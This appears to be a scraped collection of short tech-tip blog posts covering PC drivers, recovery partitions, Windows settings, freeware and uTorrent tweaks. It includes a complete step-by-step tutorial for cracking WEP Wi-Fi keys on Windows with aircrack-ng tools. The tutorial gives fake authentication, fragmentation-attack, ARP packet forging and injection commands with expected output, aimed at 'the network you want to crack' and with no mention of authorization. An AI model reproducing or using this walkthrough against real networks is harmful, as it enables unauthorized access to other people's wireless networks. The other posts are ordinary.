The difference between a .net and .com extension in a URL

generally there is no difference between a .net and .com extension in a URL normally :

1. the .com's are used for COMmercial organisations.

2. the .NET's can be use for just about anything.

They're just different domains names although some hosts do make available different feature sets depending on which domain you use.

Introduction to New Acer Touch

Introducing to new product from acer….. the acer touch. You can Command your digital lifestyle by just touching the screen,user can control  screen and use applications in ways you never dreamed possible.

Acer touch come in two type  of computer

First is All-in-One PC or Consumer Desktops PC

It come with model Aspire® Z5600 it is features next-generation touch-screen* technology and no-compromise performance in a space-saving all-in-one PC design. Experience the satisfaction of finer, more intuitive control of your social network and favorite entertainment.

                                              

The second one is Touch screen notebook

It come with model  Aspire® 5738

This model family is your ticket to high-def cinematic fun and powerful mobile performance. Riveting action and realistic audio give you a theater-like experience. Complementing the brilliant performance is the dazzling glow of the Acer® Gemstone notebook design, sure to capture attention wherever you go. The Aspire 5738PG with a multi-touch screen offers multimedia control with fingertip precision to keep you in touch with your media, your web, your life. The drag-and-drop function lets you easily listen to your favorite music, play a photo slideshow or enjoy the latest videos. The Aspire 5738DG with the TriDef 3D screen is a 3D notebook that will take your breath away. Put on the sporty and stylish 3D polarized glasses that come with the notebook and you’re ready for a visual feast. Play games, watch movies and view photos—all in 3D.

 

 

What is Computer forensics(Cont)

Computer forensics is a branch of forensic science pertaining to legal evidence found in computers and digital storage media. Computer forensics is also known as digital forensics.

The goal of computer forensics is to explain the current state of a digital artifact. The term digital artifact can include a computer system, a storage medium (such as a hard disk or CD-ROM), an electronic document (e.g. an email message or JPEG image) or even a sequence of packets moving over a computer network. The explanation can be as straightforward as "what information is here?" and as detailed as "what is the sequence of events responsible for the present situation?"

The field of computer forensics also has sub branches within it such as firewall forensics, network forensics, database forensics and mobile device forensics.

There are many reasons to employ the techniques of computer forensics:

• In legal cases, computer forensic techniques are frequently used to analyze computer systems belonging to defendants (in criminal cases) or litigants (in civil cases).

• To recover data in the event of a hardware or software failure.

• To analyze a computer system after a break-in, for example, to determine how the attacker gained access and what the attacker did.

• To gather evidence against an employee that an organization wishes to terminate.

• To gain information about how computer systems work for the purpose of debugging, performance optimization, or reverse-engineering.

Special measures should be taken when conducting a forensic investigation if it is desired for the results to be used in a court of law. One of the most important measures is to assure that the evidence has been accurately collected and that there is a clear chain of custody from the scene of the crime to the investigator---and ultimately to the court. In order to comply with the need to maintain the integrity of digital evidence, British examiners comply with the Association of Chief Police Officers (A.C.P.O.) guidelines. These are made up of four principles as follows:-

1.  No action taken by law enforcement agencies or their agents should change data held on a computer or storage media which may subsequently be relied upon in court.
2. In exceptional circumstances, where a person finds it necessary to access original data held on a computer or on storage media, that person must be competent to do so and be able to give evidence explaining the relevance and the implications of their actions.
3. An audit trail or other record of all processes applied to computer based electronic evidence should be created and preserved. An independent third party should be able to examine those processes and achieve the same result.
4. The person in charge of the investigation (the case officer) has overall responsibility for ensuring that the law and these principles are adhered to.

How to monitor your voltages, fan speeds and temperatures in computers

something interest here.  i have try using SpeedFan software.It  is a program that monitors voltages, fan speeds and temperatures in computers with hardware monitor chips. SpeedFan can even access S.M.A.R.T. info and show hard disk temperatures.
SpeedFan supports SCSI disks too. SpeedFan can even change the FSB on some hardware (but this should be considered a bonus feature).
SpeedFan can access digital temperature sensors and can change fan speeds accordingly, thus reducing noise.
SpeedFan can find almost any hardware monitor chip connected to the 2-wire SMBus (System Management Bus (trademark belonging to SMIF, Inc.), a subset of the I2C protocol) and works fine with Windows 9x, ME, NT, 2000, 2003, XP and Windows Vista. It works with Windows 64 bit too.
SpeedFan can handle:

• almost any number of South Bridges
• almost any number of hardware monitor chips
• almost any number of hard disks
• almost any number of temperature readings
• almost any number of voltage readings
• almost any number of fan speed readings
• almost any number of PWMs

try it. just go to this filehippo to download or just go to official website


MORE IMPORTANT THING IS IT IS FREEWARE!!!

How to Install Flash Player for firefox on Ubuntu

Here is a tips on how to install Flash Player for Firefox web browser under Ubuntu Linux

First, close all running Firefox.
Open the terminal (shell prompt)

Install Flash Player For Ubuntu Linux

Type the following command to install flash player:

$ sudo apt-get install flashplugin-nonfree

Now flash player should be working. Visit youtube or any other site to view flash content.

Google Adwords Local Payment for Malaysia

Malaysians using Google AdWords can now pay for the campaign charges through online banking. Online banking or online payment is a boom in Malaysia market compared to online credit card payment. Most Malaysians would prefer to transfer money online as compared to submitting their credit card information online.
Google has launched a local form of payment for its Adwords customers in Malaysia and new and existing Adwords customers can now pay through online banking via MEPS FPX, a real-time online interbank payment gateway operated by Malaysian Electronic Payment System. Previously, campaign payment can only be made by using credit card. For those who do not have a credit card, they could only pay using international bank transfers which consume time and take over 10 days to complete. With MEPS FPX, AdWords customers can pay through online banking anytime, anywhere with their account credited the next business day.

For details.
Google Adwords Local Payment for Malaysia

How to get the hidden cossack awning in Windows Vista

How you get the hidden boot screen in Windows Vista. Enjoy and this also works in the Windows Vista Lite I showed you. (The maker of it took out the original boot screen so be sure to do this if you want a bootscreen!) 1.Msconfig 2.boot 3.No GUI 4.Restart

Steps To Prevent Computer Freezes

Computer freezes usually occur due to problems that may not actually be visible. But these hidden problems can play a major role in the deterioration of your computer's performance. If you are frequently haunted by unexpected computer freezes, then you must perform the following steps in order to resolve some of the problems that might be occurring in the background:

Step 1: Disable unwanted startup programs.

Startup programs, as the name suggests, are programs that load at system startup. Although, there are several startup programs and services essential for your Windows computer to function, there are some that are usually set to load at startup when you install certain software applications. These programs are usually not required until you actually use the application they belong to, and the rest of the time they unnecessarily run in the background eating up precious system resources.

To prevent these undesirable programs to load at startup, go to the Start menu, point to Startup and then delete the shortcuts of the programs you do not want to load at Startup.

Next, at Start > Run, type msconfig and then press Enter to open the System Configuration utility dialog box. Here, on the Services and Startup clear the check boxes of the services and processes you do not want to load at system startup. After you have specified your settings, restart your system to apply them.

Step 2: Remove unwanted information from the registry.

Accumulation of junk information such as outdated, empty, orphan, error and invalid entries, corrupt and fragment registry files and thereby slow it down. A slow registry takes a long time to fulfill requests sent to it by various programs and hardware devices and causes system freezes. This is the reason why, to fix Windows freeze problems, you need to regularly clean your registry and keep it free from this unwanted digital debris. You can do this easily with the help of a registry cleaner tool. Using a registry cleaner tool, you can perform several registry maintenance tasks, such as scan and remove unwanted registry entries, repair invalid and error entries, defrag the broken registry files, and backup the registry.

Step 3: Scan for malware programs.

Malware programs, such as viruses and spyware start filling up your hard disk with malicious files and programs as soon as they infiltrate your system. These malicious programs feed on your system resources and drastically bring down computer performance. This is the reason why when you are troubleshooting system freeze problems, you must run a full system scan using updated antivirus and antispyware tools to detect and remove any malware infections.

Note: For better results, it is recommended that you perform antivirus and antispyware scans in Safe mode. To start your system in Safe mode, restart your system, press F8 when the system is just starting up and then scroll down and select the Safe Mode option.

Step 4: Clean up and defrag the hard disk.

As your PC gets older, the hard disk gets filled up with loads of undesired programs, files, and folders. This unwanted stuff eats up a lot of space on the disk, causing clutter. Moreover, with too much information stored on the disk, new files cannot be stored in adjacent locations and are therefore, fragmented and stored wherever space is available on the disk. This clutter adds a lot of load on the hard disk's head and also slows down data access time.

Therefore, to prevent system freeze and also to repair system freeze problems, you must use the Disk Cleanup tool to first get rid of all unwanted files and programs from your computer. And then, use the Disk Defragmenter tool to consolidate the broken files, speed up data access, and as a result, enhance the performance of your computer.

How to Boot an HP Recovery Partition

Many HP computers are shipped with a recovery partition on the hard drive. This separate and dedicated partition is used for backup and recovery of system files and drivers in case the system becomes unstable. Using the recovery partition allows you to restore the HP to its original state.

 Step 1

      Press the power button to start the HP. Press and hold the F11 key to launch the HP Recovery Manager from the recovery partition.


Step 2

      Backup any files you want to save. Follow the HP Recovery Manager instructions to save any important files before continuing with the recovery process.


Step 3

      Continue the recovery process. After backing up files to an external device or CD/DVDs, select the option to perform a system recovery.


Step 4

      Obtain and install updates for the HP. After your system reboots, use HP update manager as well as Windows update to restore all critical updates to your HP computer.


Step 5

      Make a set of recovery disks. Use HP Recovery Manager and select "Advanced Options" to create a set of recovery disks that can be used in the event that your HP cannot access the hard drive.

Driver for Toshiba satellite A100 (short model no : PSAA2E) in Windows XP

here's some driver for Toshiba Satellite A100 (short model no : PSAA2E)
Note : some others short model PSA** in Satellite A100 can also use this driver and some cannot. please try and comment me.


Wireless Lan Driver (Atheros)

Wireless Lan Driver (Intel)

Chipset Driver











Display(intel)




Flashmedia Driver

LAN driver

 Modem

 Audio driver

 Touch Pad Driver

File Shredder is free desktop application for shredding (destroying) unwanted files beyond recovery

File Shredder is used remove files from your hard drive without fear they could be recovered. There are many software tools today for retrieval of deleted files under Windows OS. Those tools, often referred to as "file recovery" software, are taking advantage of shortcoming of WIndows "delete" command that we all use regularly to delete files. Actually, the "delete" operation in Windows only removes bits of information from files so they appear deleted in OS. It is easy to retrieve those files using aforementioned specialized file recovery software.

In order to remove, or shred files permanently from your system you have to use a program that is capable of rewriting the files with random series of binary data multiple times. This process is often called shredding. That way, the actual content of the file has been overwritten and the possibilities to recover such a shredded file are mostly theoretical.

File Shredder has been developed as fast, safe and reliable tool to shred company files. The author of this program released it free under GNU licence and you are welcome to download File Shredder and use it without any restrictions. File Shredder is simple but powerful program that surpasses manu commercial file shredders out there. The Author believes that such a utility should be available to anyone for free and that permanent and safe removal of confidential documents is a matter of basic right to privacy.

In File Shredder you can choose between 5 different shredding algorithms, each one gradually stronger than the previous one. It also has integrated Disk Wiper which uses shredding algorithm to wipe unused disk space. More on options of File Shredder check Online Help page.

For more comprehensive protection you can download ArchiCrypt Shredder. It is very powerful commercial application suite which doesn't stop on shredding utility and is priced incredibly low for what it offers. If you don't need all the options of ArchiCrypt shredder and prefer separate utilities for important tasks some of best commercial utilities are produced by Blancco. They have really good Data Cleaner for shredding the whole volumes (Hard Disks) and that is something my File Shredder utility is not supposed to do - yet. But the best overall suite of privacy protection tools I've stumbled upon is from CyberScrub, they have a rock solid and full featured set of applications including data destruction, evidence cleaner, password manager and antivirus.

for more information you can visit http://www.fileshredder.org/ . there you also can download File Shredder software or click here to download

Acer Aspire System Recovery Partition

Restoring your Acer computer to factory condition is easy. Most Aspires will have a second partition that can be used to restore if you do not have CDs. It is recommended that you make those CDs when you first buy the laptop. If you don’t, you run the risk of not being able to install Windows again if that second partition fails.

Keep in mind that running the recovery will restore the computer to the way it was when you first brought it home. Anything you added will be lost, so make sure you have program disks, passwords, favorite websites, photos, documents and anything else you need backed up before proceeding with the recovery of your Acer Aspire.

Hard Disk Recovery should be enabled by default. If it is not, you may need to go into your system’s BIOS by hitting F2 at boot and enable it under the Advanced tab.

Once Hard Disk Recovery is enabled, restart the system and hit ALT+F10. This will begin the Aspire system recovery process. You will be prompted to type six zeros as a security step. Type 000000 to proceed.

You will then see a screen to select your Operating System. Do this and hit enter and the recovery process will begin.

The process for restoring from the second partition is similar with all major brand names. The most improtant thing to remember is to always have backups of your data and take a few minutes to burn recovery DVDs using Acer’s built in utility.

How To Repair The Acer D2D Recovery (for Acer laptop that having problem Alt+F10 to recovery)

As all of you know, Acer laptop are now using a system of restoration installed in a hidden partition of your hard disk. This system launches out while pressing keys ALT+F10 simultaneously  and sometimes for various reasons this system cannot functioning.



The first cause often comes owing to the fact that function D2D Recovery is disable in the bios (menu principal).

The solution : enable the function and try to press keys ALT+F10 during the starting of the  computer.



The second cause : in this case hidden partition PQSERVICE was erased or damaged, or you replaced the disc and in this case it is not present.


The solution : If you did not previously make a backup of your system by making an image disc. It will not be possible to use the D2D recovery. Your only hope will be to have in your possession Acer Recovery CD/DVD.



The third causes : the Acer Master Boot Record (MBR)was damaged or replaced by non-Acer MBR. As long as partition PQSERVICE is present or that you can put the hand on the necessary Acer files you can reinstall the MBR of Acer.


The solution : on a functional Windows system

just click here to download Acer MBR repair than extract it

Make sure to run acer.bat  file  as administrator(if windows vista), otherwise it won’t work.

After that restart laptop then try ALT+F10 again.

It should work

How to Enable Administrator Account on Windows 7 or Vista

Naturally Windows Administrator is always in not active mode or in disable mode, and how can you access it?  Since it is not active, you cannot use it. If you need to troubleshoot something that needs to run as administrator, you can active it with a simple command by using ordinary account.

To Enable Administrator Account

First you will need to click Start then All Programs then Accessories then right-clicking and choosing “Run as administrator” on command prompt

Now type the following command:

net user administrator /active:yes

 It will appear like below

After this success, you can Logout. you will see Administrator account as appear.

To Disable Built-in Administrator Account

Login to your ordinary user account,  Start then All Programs then Accessories then right-clicking and choosing “Run as administrator” on command prompt. Type the following command:
 

net user administrator /active:no

 It will appear like below

NOTE : Please use command prompt from Start then All Programs then Accessories then right-clicking and choosing “Run as administrator”. if you use from START + R  you will get error if not "run as administrator"
if not, the result will be like below

that's all you need and happy try

Simple way How to speed up uTorrent

Are you happy with speed of your torrent download??. Below is a screenshot of some of the speeds you can expect to reach with uTorrent after following this guide. Bearing in mind torrent speed also depend from speed of ISP.

These screenshots show the settings that I use to increase speed of torrent download

1. open utorrent,
2. Click Option then click Preferences
3. Then go to tab name bandwidth

 

4. Then Click Bittorent tab

  

5. Then, go to advanced and change your options to match these:

bt.auto_ul_sample_average 80
bt.auto_ul_sample_window 80
bt.ban_threshold 80
bt.connect_speed 80
net.max_halfopen 80
net.wsaevents 80
rss.update_interval 80

Port Forwarding 

Port forwarding is where the real speed comes into the equation. Imagine your router or modem as a door to the internet, where each piece of data gets strip-searched on its way in and out - well forwarding the ports is like allowing the data to freely walk through. It speeds up the process massively.
However, every router is different but here are the basic steps to take:

Go back to the connections settings and enter a memorable 4 digit number that preferably doesn't begin with 8.

 you go to web portforward.com you can chose your router from a list and follow customised instructions for your individual router.

Additional Tips

- Always pick a torrent file with more seeders than leeches otherwise you have no chance of getting any sort of resonable speed
- Don't try limiting the download or upload speeds. I've seen numerous guides with recommendations of limiting speeds, in all honesty -I used to do it myself. However, this doesn't work and its best to let the software sort it all out itself.
- Always seed! Don't go around taking data without giving any back yourself, it's just not very nice.

RegSeeker Free Download to Search and Manage Registry Entry Items

For Windows users who love to play around and mess with the registry, RegSeeker is a freeware utiltiy that will surely be your best companion. RegSeeker is a powerful registry cleaner. It’s also a powerful registry management tool that can display various informations such as startup entries, several histories items (URLs, recent documents, and even index.dat files), installed applications with their uninstall information, color schemes, Internet Explorer favorites and many others.

Users can use RegSeeker to search for any item inside system registry, and the export, backup and delete the results, or simply open the the search results in the registry editor. The registry cleaning feature will find invalid and unused registry entries for deletion and cleanup. New feature added a file tool to search for duplicate files or bad shortcuts. For power users, RegSeeker also includes a tweaks panel to optimize your the operating system via registry.

 

Best of all, RegSeeker is freeware, free to download and free for personal use. It supports Windows 98/ME/2000/XP/2003/Vista.

Delete or Disable Recent Search Entries History in Windows 7 (Explorer) Search Box

Windows 7 allows users to check for files in Windows Explorer via the tiny search box in Windows Explorer. Users can easily locate files by typing the relevant keywords in the search box instead of navigating through all the folders. The search box will scour all programs and all folders in users’ personal folder and also search through all e mail messages, saved instant messages, appointments, contacts, etc. Even though this search feature is useful and helpful, there is a small problem that might matter to some users. By default, Windows 7 will automatically store all the search queries in the history.

Every time users make searches in Windows Explorer, users will find the recent search list appear in the drop down menu of the search box. Some users especially those who need to share their computer with others might feel uncomfortable with this if they need to keep their activities a secret from others. If you are one of these users or if you do not want your previous search entries to appear in the Windows Explorer search box for other reasons, there are two options for you to get rid of it: delete the historical search entries or disable/turn off display of the recent search entries.

Delete The Historical Search Entries
To delete the historical search entries or queries, the easiest way is just to click on the search entries and hit the “Delete” button from the keyboard to delete them permanently.

Alternately, users can go to Windows 7 Registry file to delete the historical searches. Users just need to type Regedit in the search box at the Start Menu, click on to the Regedit icon to access the Windows Registry Editor. In the Windows Registry Editor, go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ WordWheelQuery

At the WordWheelQuery folder, right click WordWheelQuery and select “Delete” from the sub-menu.

Users will be prompted with a dialogue box notifying users: “Are you sure you want to permanently delete this key and all of its subkeys?” Click Yes to continue. By doing so, users will be able to clean all search entries.
Turn Off or Disable Display of Recent Search Entries in the Windows Explorer Search Box
If users feel that continuously deleting the search entries is troublesome and a waste of time, users can opt to disable the search box from storing historical search entries. To do so, users who are using Windows 7 Professional (Business), Enterprise and Ultimate Editions can make changes to the group policy via the Local Group Policy Editor available in Windows 7.
Open the Local Group Policy Editor. In the Local Group Policy Editor, go to User Configuration\Administrative Templates\Windows Components\Windows Explorer. In the right-side pane, just look for Turn off display of recent search entries in the Windows Explorer search box item and double click on it to set it as Enabled. By changing the default policy setting, the machine will not display your recent searches in the search box anymore. This policy also prevents search strings from persisting in the user portion of the registry.
For Windows 7 Starter, Home Basic and Home Premium, users who do not have Local Group Policy Editor can create the same effect by making some registry hack. Users can go to Windows 7 Registry Editor again. In the Windows Registry Editor, locate the following branch:

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer

Users might not find the “Explorer” branch. Hence, they need to create it manually. Users can right click “Windows”, select New Key and enter “Explorer”.

Right click “Explorer” and create a DWORD value named DisableSearchBoxSuggestions. Double-click the DisableSearchBoxSuggestions and set its data as 1.

Once it is done, users can exit the Registry Editor and restart the computer for the new setting to take effect. Users will notice the suggestions for recent search entries at the Search Box no longer appear.
If deleting the search entries and turning off the display of recent search entries are not ideal solutions, users’ final resource perhaps is to completely disable the Windows Search feature. By doing it, the Search Box will be completely removed from Windows Explorer. To disable the Windows Search feature, users can go to Control Panel -> Programs -> Turn Windows features on or off. Users will be prompted with a tiny Windows with all programs listed. Scroll down the list and uncheck the box next to Windows Search. Click OK to continue. Users will thence be prompted with a reminder to warn users: Turning off Windows Search might affect other Windows features and programs installed on your computer, including default settings. Do you want to continue?. Users can chose Yes to continue and thence restart the computer for the changes to take effect.

How to Crack WEP with aircrack + inject packets (WINDOWS)

This is a tutorial for cracking WEP and injecting packets for networks with no clients. You'll be able to do so on a windows platform (tested in VISTA and works)!
-------------------------------------------------------------------------------------------

First of all I've got all my info out of this thread and the links posted there:
http://tazforum.thetazzone.com/viewtopi ... sc&start=0
I can only make this tutorial thanks to Zermelo that kept answering my question when I was lost.

GETTING EVERYTHING READY:

- The first and most important thing to do is to get an adapter that works with airodump:
check this thread for that:
http://tazforum.thetazzone.com/viewtopic.php?t=6235
and this one:
http://tazforum.thetazzone.com/viewtopi ... 01&start=0

- Then you need to install the proper drivers for your card. (I used the commview drivers.) If your card isn't compatible with Commview you'll need to install the wildpackets drivers.

to do this for cards compatible with commview download comm view here and install its drivers:
http://www.tamos.com/bitrix/redirect.ph ... es/ca5.zip

for other cards download the wildpackets drivers here:
http://www.wildpackets.com/support/downloads/drivers

NOTE: I'm going to base the rest of this tutorial on a card with the commview drivers installed!

- Next step is to download this .dll file (again only commview driver users):
http://darkircop.org/commview.dll

- Next up, download the aircrack package. Download it here:
http://dl.aircrack-ng.org/aircrack-ng-svn-win.zip

unzip the file to your c:\ drive (it can be another drive but this is the easiest)

put the commview.dll file you just downloaded in the map you extracted (it's called aircrack and if you extracted it to your c: drive like I said it should be in c:\aircrack\)

Now go to you place where you installed Commview in (the program itself) and look for a file called "ca2k.dll" (default install dir is c:\program files\commview for wifi\)

Copy this file to the same folder as the commview.dll (c:\aircrack\)

OKAY that was a whole lot! this was just to get everything ready! If you did all of this correct you'll be able to move to the next step!
-------------------------------------------------------------------------------------------

THE CRACKING:

Step 1:
- Open a command prompt (start > run > cmd.exe)

Step 2:
- type the following in the command prompt:

cd c:\aircrack\

- HIT ENTER

Step 3:
- type the following in the same command prompt:

airserv-ng -d commview.dll

- HIT ENTER
- You should see something like this coming up in the command prompt

Opening card commview.dll
Setting chan 1
Opening sock port 666
Serving commview.dll chan 1 on port 666

Step 4:
- Open a new command prompt (LEAVE THE PREVIOUS ONE OPEN AT ALL TIMES!!)
- Typ the following the the new command prompt:

cd c:\aircrack\

-HIT ENTER

Step 5:
- Now typ this in the same command prompt:

airodump-ng 127.0.0.1:666

- HIT ENTER

note: if you know what channel the to-monitor-network is on you can make it this. I recommend this!:

airodump-ng --channel YOURCHANNELNUMBER HERE 127.0.0.1:666

Airodump-ng should start capturing data from the networks on the given channel now, you'll notice it isn't going fast (except if it's a big company's network or something). We are going to speed this process up!
Take a note of the following:
1: BSSID of the network you want to crack = MAC address.
2: ESSID of the network you want to crack = name of the network (example: wifi16, mynetwork,...)
3: The mac of the card you are using to monitor the packets

LEAVE THE 2 COMMAND PROMPTS YOU ALREADY HAVE OPEN OPEN!!!

Step 6:
- Open a new command prompt
- Type in the following:

cd c:\aircrack\

- HIT ENTER

Step 7:
- Type in the following in command prompt:

aireplay-ng -1 0 -e ESSID-OF-THE-NETWORK-YOU-WANT-TO-CRACK -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666

yes quite confusing so a quick example:
ESSID = wifi16
BSSID = 11:22:33:44:55:66
MAC OF CARD I'M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -1 0 -e wifi16 -a 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666

if all goes well you'll get this as the outcome:

Sending Authentication Request
Authentication successful
Sending Association Request
Association successful

if you get:

AP rejects the source MAC address

It means MAC filtering is enabled on the network you want to crack and you'll need to get hold of a mac address that's allowed access.

if you keep getting:

sending authentication request

Try moving closer to the AP!

Step 8:
in the same command prompt as the one in step 7 type:

aireplay-ng -5 -b BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666

yes quite confusing once again so a quick example:
BSSID = 11:22:33:44:55:66
MAC OF CARD I'M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -5 -b 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666

if all goes well you'll get this:

Waiting for a data packet...
Read #number packets...

Step 9:
if you wait a little bit you'll soon be prompted with a packet like this:

Size: 120, FromDS: 1, ToDS: 0 (WEP)

BSSID = the bssid
Dest. MAC = the dest mac
Source MAC = the source mac

0x0000: 0842 0201 000f b5ab cb9d 0014 6c7e 4080 .B..........l~@.
0x0010: 00d0 cf03 348c e0d2 4001 0000 2b62 7a01 ....4...@...+bz.
0x0020: 6d6d b1e0 92a8 039b ca6f cecb 5364 6e16 mm.......o..Sdn.
0x0030: a21d 2a70 49cf eef8 f9b9 279c 9020 30c4 ..*pI.....'.. 0.
0x0040: 7013 f7f3 5953 1234 5727 146c eeaa a594 p...YS.4W'.l....
0x0050: fd55 66a2 030f 472d 2682 3957 8429 9ca5 .Uf...G-&.9W.)..
0x0060: 517f 1544 bd82 ad77 fe9a cd99 a43c 52a1 Q.D...w.....

note: size can vary, I always pressed in y and it worked
- press in Y
- HIT ENTER

You should see something like this coming up (or similar):

Saving chosen packet in replay_src-0124-161120.cap
Data packet found!
Sending fragmented packet
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 384 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 1500 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Saving keystream in fragment-0124-161129.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Note 1: It doesn't need to be 1500 bytes!!
Note 2: Check the bold part, you're going to need this file!
AGAIN DON'T CLOSE THIS COMMAND PROMPT!!

if you keep getting:

Data packet found!
Sending fragmented packet
No answer, repeating...
Trying a LLC NULL packet
Sending fragmented packet
No answer, repeating...
Sending fragmented packet
...

Just keep trying! It automatically starts over again (moving closer to the AP has been reported to help.)



anyways, if you got the bytes of keystream (everything worked) it's time for the next step!

Step 10:
- Press CTRL + C in the command prompt used in step 8
- Now type in the following:

packetforge-ng -0 -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR -k 192.168.1.100 -l (= an ELL not a 1) 192.168.1.1 -y fragment-0124-161129.xor -w arp-request

Remember the file I made bold in part 8? Well it's obviously the same as in 9 meaning you need to put the same filename here.
The part I made green here is the filename you use to save the packet, you can choose whatever you want but you must use this filename in the upcomming steps!

Step 11:
Now that we've got our ARP REQ packet we can start injecting!
Here's how to do this.
- Go to the command prompt used in step 9
- Type in the following:

aireplay-ng -2 -r arp-request 127.0.0.1:666

The green part once again indicates the filename!

You should now see something like this coming up:

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:AB:CB:9D

0x0000: 0841 0201 0014 6c7e 4080 000f b5ab cb9d .A....l~@.......
0x0010: ffff ffff ffff 8001 6c48 0000 0999 881a ........lH......
0x0020: 49fc 21ff 781a dc42 2f96 8fcc 9430 144d I.!.x..B/....0.M
0x0030: 3ab2 cff5 d4d1 6743 8056 24ec 9192 c1e1 :.....gC.V$.....
0x0040: d64f b709 .O..

Use this packet ?

- Type in Y
- HIT ENTER

This should come up now:

Saving chosen packet in replay_src-0124-163529.cap
You should also start airodump-ng to capture replies.
End of file.

sent #numberOfPackets ... (#number pps)

You'll see the numberOfPackets rising really fast, you are injecting these packets now.

Step 12:
Now go back to the command prompt where you had airodump-ng in open
and press CTRL + C
now type in the following:

airodump-ng --channel CHANNELYOUWANTTOCAPTUREFROM --write Filename 127.0.0.1:666

Note: Filename = The name of the file where the data packets are saved, this will be used in the next step

If all goes correct you should be capturing as much packets per second as you are injecting (maybe even more).

Step 13:
when you think you have enough...
note: 200000 min for 64bit (just capture 1Million to be sure)
...press CTRL + C in the command prompt that has airodump-ng running and enter the following:

aircrack-ng -n 64 Filename.cap

note:
Filename = see previous step
64 = the bit depth of the key (128 for 128bit etc...)

and if it goes like planned a message will pop-up saying:

KEY FOUND: YourKey

That's it! I hope this was helpful, any question/remarks/complaints please ask/tell and I'll try to help/respond as soon as possible!!

Extra useful links:
WEP CRACK tutorial from nokia:
http://tazforum.thetazzone.com/viewtopi ... f1722a5366

Info about the attack used(fragmentation):
http://www.aircrack-ng.org/doku.php?id=fragmentation

Zermelo's thread about this subject:
http://tazforum.thetazzone.com/viewtopi ... sc&start=0

Topic on another forum about this:
http://tinyshell.be/aircrackng/forum/in ... pic=1626.0

Drivers for Compaq Presario C772TU Laptop for Windows XP

Compaq Presario C722TU is an Intel based machine with Intel Dual Core Processor (1.86 MHz), 2GB RAM, 160 GB HDD, DVD RW, Wifi, 15.4" Widescreen, Web Cam and so on. This machine comes installed with FreeDOS. This machine is designed to work with Windows Vista. All the required drivers and given in the company's website. Links for drivers for Windows XP are not present in their website. Here we have given all the links of hardware drivers for the same laptop, for Windows XP
You can either click or copy the given link and paste them onto a new driver to download them.
Intel Graphics Media Accelerator (VGA) Driver:
http://downloadmirror.intel.com/15766/a08/winxp_14331.exe
Intel Chipset Installation Utility for ICH8:
http://downloadmirror.intel.com/13499/a08/infinst_autol.exe
Here is the link for ALPS Touchpad Pointing Device Driver:
ftp://ftp.hp.com/pub/softpaq/sp31001-31500/sp31075.exe
HP Quick Launch Buttons Driver:
ftp://ftp.hp.com/pub/softpaq/sp38001-38500/sp38171.exe
Realtek RTL8100CL LAN Driver:
ftp://ftp.hp.com/pub/softpaq/sp30501-31000/sp30580.exe
HP Webcam Software Drivers:
ftp://ftp.hp.com/pub/softpaq/sp35001-35500/sp35414.exe
To install audio / modem drivers, first download and install Microsoft Universal Audio Architecture (UAA) Bus Driver for High Definition Audio (sp32646):
ftp://ftp.hp.com/pub/softpaq/sp32501-33000/sp32646.exe
or
ftp://ftp.hp.com/pub/softpaq/sp33501-34000/sp33867.exe
And then install Audio driver:
ftp://ftp.hp.com/pub/softpaq/sp35501-36000/sp35682.exe
or
ftp://ftp.hp.com/pub/softpaq/sp33001-33500/sp33443.exe
NOTE: The URL above will take you to a non HP Web site. HP does not control and is not responsible for information outside of the HP Web site.
Download Sound.zip file from 'Save file to your PC: click here' at right bottom of the website.
Extract the downloaded zip file to a folder on hard drive.
Installing this driver may result in an error. But continue with the following steps to get the audio driver installed correctly.
1. Click on Start and select Run. Now type devmgmt.msc and press enter.
2. Right click on "Audio device on High Definition Audio Bus" and click Update driver.
3. Select "Install from a list or specific location"
4. Click Next. Then select "Don't search, I will choose the driver to install"
5. Click Next and then select "Sound, video and game controller" from the list.
6. Click Next and then click Have Disk.
7. Click Browse, Choose the location where you have saved the extracted folder.
8. Open the folder and choose the .inf file listed.
9. Ignore any errors you receive and proceed with the installation.
Conexant CX20548 Modem Driver for Microsoft Windows XP (sp36089.exe) (UAA Driver needed)
ftp://ftp.hp.com/pub/softpaq/sp36001-36500/sp36089.exe
Download and install Conexant modem driver (sp36089). This will give error message and also will create a folder C:\swsetup\sp36089 which contains extracted driver files.
The same method which is used for installing audio driver needs to be followed for modem.
Atheros wireless driver:
http://www.atheros.cz/download/drivers/ar5xxx/xp32-5.3.0.56-whql.zip
The same method which is used for installing audio driver needs to be followed for wireless.
NOTE: The URL above will take you to a non HP Web site. HP does not control and is not responsible for information outside of the HP Web site.
Installation Instructions :
1. Download the spXXXXX.EXE file to a directory on your hard drive.
2. Execute the downloaded file and follow the on-screen instructions.
3. Restart the notebook when the installation is complete.

Learn How to Speed Up PC Performance with 4 tips!

One of the biggest questions on the net is " How to speed up PC performance? ". Well we have compiled the best tips and tricks for a phenomenal boost in PC speed. If you follow these the for ways of how to increase PC speed, you should see a boost of anywhere between 35-52.5% in performance speed based on industry standards.

TOP 4 Ways to Speed Up PC Performance

1. Use a Registry Cleaner.
